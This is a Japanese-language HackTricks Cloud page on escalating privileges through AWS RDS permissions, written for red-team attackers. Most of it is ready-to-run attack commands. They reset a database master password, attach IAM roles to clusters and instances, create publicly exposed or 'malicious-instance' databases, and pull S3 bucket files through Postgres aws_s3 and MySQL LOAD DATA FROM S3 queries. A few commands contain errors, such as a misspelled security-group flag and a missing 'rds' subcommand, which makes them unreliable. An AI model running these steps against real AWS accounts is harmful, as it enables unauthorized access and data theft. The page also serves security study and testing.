AWS - RDS Privesc
Reading time: 10 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
RDS - リレーショナルデータベースサービス
RDSに関する詳細情報は以下を確認してください:
AWS - Relational Database (RDS) Enum
rds:ModifyDBInstance
この権限を持つ攻撃者はマスターユーザーのパスワードを変更し、データベース内のログインを行うことができます:
# Get the DB username, db name and address
aws rds describe-db-instances
# Modify the password and wait a couple of minutes
aws rds modify-db-instance \
--db-instance-identifier <db-id> \
--master-user-password 'Llaody2f6.123' \
--apply-immediately
# In case of postgres
psql postgresql://<username>:<pass>@<rds-dns>:5432/<db-name>
warning
データベースに接続することができる必要があります(通常、内部ネットワークからのみアクセス可能です)。
潜在的な影響: データベース内の機密情報を見つけること。
rds-db:connect
ドキュメントによると、この権限を持つユーザーはDBインスタンスに接続できます。
RDSロールIAM権限の悪用
Postgresql (Aurora)
tip
SELECT datname FROM pg_database;
を実行すると、rdsadmin
というデータベースが見つかる場合、AWS postgresqlデータベース内にいることがわかります。
まず、このデータベースが他のAWSサービスにアクセスするために使用されているかどうかを確認できます。インストールされている拡張機能を見て確認できます:
SELECT * FROM pg_extension;
もし**aws_s3
のようなものを見つけた場合、このデータベースはS3に対する何らかのアクセス権を持っていると考えられます(aws_ml
やaws_lambda
**などの他の拡張子もあります)。
また、aws rds describe-db-clusters
を実行する権限がある場合、AssociatedRoles
フィールドでクラスターにIAMロールが付与されているかどうかを確認できます。もしあれば、そのデータベースは他のAWSサービスにアクセスするために準備されていると考えられます。ロールの名前(またはロールの権限を取得できる場合)に基づいて、データベースがどのような追加アクセスを持っているかを推測することができます。
さて、バケット内のファイルを読むためには、フルパスを知っている必要があります。次のようにして読むことができます:
// Create table
CREATE TABLE ttemp (col TEXT);
// Create s3 uri
SELECT aws_commons.create_s3_uri(
'test1234567890678', // Name of the bucket
'data.csv', // Name of the file
'eu-west-1' //region of the bucket
) AS s3_uri \gset
// Load file contents in table
SELECT aws_s3.table_import_from_s3('ttemp', '', '(format text)',:'s3_uri');
// Get info
SELECT * from ttemp;
// Delete table
DROP TABLE ttemp;
もし生のAWS認証情報を持っていれば、次のコマンドを使用してS3データにアクセスすることもできます:
SELECT aws_s3.table_import_from_s3(
't', '', '(format csv)',
:'s3_uri',
aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '')
);
note
Postgresql は S3 にアクセスするためにパラメータグループ変数を変更する必要はありません。
Mysql (Aurora)
tip
mysql 内で SELECT User, Host FROM mysql.user;
クエリを実行し、rdsadmin
というユーザーがいる場合、あなたは AWS RDS mysql db 内にいると考えることができます。
mysql 内で show variables;
を実行し、aws_default_s3_role
、aurora_load_from_s3_role
、aurora_select_into_s3_role
などの変数に値がある場合、データベースは S3 データにアクセスする準備ができていると考えられます。
また、aws rds describe-db-clusters
を実行する権限がある場合、クラスターに 関連するロール があるかどうかを確認できます。これは通常、AWS サービスへのアクセスを意味します。
今、バケット内のファイルを読むためには、フルパスを知っている必要があります。次のようにして読むことができます:
CREATE TABLE ttemp (col TEXT);
LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col);
SELECT * FROM ttemp;
DROP TABLE ttemp;
rds:AddRoleToDBCluster
, iam:PassRole
rds:AddRoleToDBCluster
および iam:PassRole
の権限を持つ攻撃者は、既存の RDS インスタンスに指定されたロールを追加することができます。これにより、攻撃者は 機密データにアクセスしたり、インスタンス内のデータを変更したりすることができる可能性があります。
aws add-role-to-db-cluster --db-cluster-identifier <value> --role-arn <value>
潜在的な影響: RDSインスタンス内の機密データへのアクセスまたはデータの不正な変更。
一部のDBは、Mysqlのように、パラメータグループにロールARNを指定する必要があるなど、追加の設定が必要であることに注意してください。
rds:CreateDBInstance
この権限だけで、攻撃者は既存のクラスター内に新しいインスタンスを作成でき、IAMロールが添付されている場合があります。マスターユーザーパスワードを変更することはできませんが、新しいデータベースインスタンスをインターネットに公開できる可能性があります。
aws --region eu-west-1 --profile none-priv rds create-db-instance \
--db-instance-identifier mydbinstance2 \
--db-instance-class db.t3.medium \
--engine aurora-postgresql \
--db-cluster-identifier database-1 \
--db-security-groups "string" \
--publicly-accessible
rds:CreateDBInstance
, iam:PassRole
note
TODO: テスト
rds:CreateDBInstance
と iam:PassRole
の権限を持つ攻撃者は、指定されたロールを添付して新しい RDS インスタンスを作成できます。攻撃者はその後、機密データにアクセスしたり、インスタンス内のデータを変更したりする可能性があります。
warning
添付するロール/インスタンスプロファイルのいくつかの要件(こちらから):
- プロファイルはあなたのアカウントに存在しなければなりません。
- プロファイルには、Amazon EC2 が引き受ける権限を持つ IAM ロールが必要です。
- インスタンスプロファイル名と関連する IAM ロール名は、プレフィックス
AWSRDSCustom
で始まる必要があります。
aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole
潜在的な影響: RDSインスタンス内の機密データへのアクセスまたはデータの不正な変更。
rds:AddRoleToDBInstance
, iam:PassRole
rds:AddRoleToDBInstance
およびiam:PassRole
の権限を持つ攻撃者は、既存のRDSインスタンスに指定されたロールを追加することができます。これにより、攻撃者は機密データにアクセスしたり、インスタンス内のデータを変更したりすることが可能になります。
warning
DBインスタンスは、これを行うためにクラスターの外にある必要があります。
aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name <feat-name>
潜在的な影響: RDSインスタンス内の機密データへのアクセスまたはデータの不正な変更。
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。